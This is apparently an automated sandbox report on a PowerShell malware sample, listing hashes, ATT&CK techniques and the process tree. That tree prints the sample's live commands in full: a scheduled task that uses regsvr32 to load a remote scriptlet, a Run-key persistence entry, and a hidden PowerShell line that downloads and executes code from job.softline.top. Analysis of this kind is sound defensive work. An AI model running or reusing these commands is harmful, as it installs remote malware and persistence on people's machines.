e3bd83b61c2deec0f5d6febbfc891be6fc52d2b546bafdf9b182032d845805a8

Analysis

max time kernel
81s
max time network
86s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
17-02-2025 20:39

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General

Target

malware-samples-master/2018-04-Common-Malware-Carrier/share.ps1
Size

1KB
MD5

2c9f13f79f1dd88b9b5b1ab3a6e2374b
SHA1

fc7f2e1ad64070be4d44b583155b2ec2af18cb03
SHA256

acec4a38d7b5ef95a2e33dce721c5693e7da966b751ec45bfa3e39b5181c6b19
SHA512

f01fa0a0549a9a26a41dc9ab4f22052d92a699bb7bbd505710034878335ff3e42c624635691e7089fd12d38eaae0613413350f08905a56078b86852842e564f6

Score

10^/10

execution persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://job.softline.top/loadinglit.gif

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2732	powershell.exe
3960	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows tasks check = "c:\\windows\\tasks\\SCHEDLGU.exe"	reg.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	\??\c:\windows\tasks\SCHEDLGU.exe	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2064	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2732	powershell.exe
2732	powershell.exe
3960	powershell.exe
3960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 2064	2732	powershell.exe	84
PID 2732 wrote to memory of 2064	2732	powershell.exe	84
PID 2732 wrote to memory of 944	2732	powershell.exe	86
PID 2732 wrote to memory of 944	2732	powershell.exe	86
PID 2732 wrote to memory of 3960	2732	powershell.exe	88
PID 2732 wrote to memory of 3960	2732	powershell.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\malware-samples-master\2018-04-Common-Malware-Carrier\share.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "windows update" /tr "regsvr32 /u /s /i:http://job.softline.top/ad2.jpg scrobj.dll" /sc daily /st 12:00 /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2064
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "windows tasks check" /t REG_SZ /d "c:\windows\tasks\SCHEDLGU.exe" /f
  2⤵
  - Adds Run key to start application
  PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -Windowstyle hidden -noninteractive -nologo IEX (New-Object Net.WebClient).DownloadString('http://job.softline.top/loadinglit.gif')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
38e01d05f1a3c204a4b66f6503a154b4

SHA1
1f13df998e49ba099b8142117047ca78c7728826

SHA256
098383f853295ab4ca31292fc72f149c4d737544f973232a84f48ba060076610

SHA512
d4cf12cc636128328bca08bfefdb5cbd3d7e3fa0b9ab8de99734a9af67c18224146000e2a5b79ad3fcfbcef27290e93fcd8f9c0979c8dd95e47e123b479cbed5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w2n33le4.gxr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2732-0-0x00007FFB81A23000-0x00007FFB81A25000-memory.dmp

Filesize
8KB

Download
memory/2732-1-0x0000024090840000-0x0000024090862000-memory.dmp

Filesize
136KB

Download
memory/2732-11-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download
memory/2732-12-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download
memory/2732-13-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download
memory/2732-15-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download
memory/3960-16-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download
memory/3960-27-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download
memory/3960-29-0x00007FFB81A20000-0x00007FFB824E1000-memory.dmp

Filesize
10.8MB

Download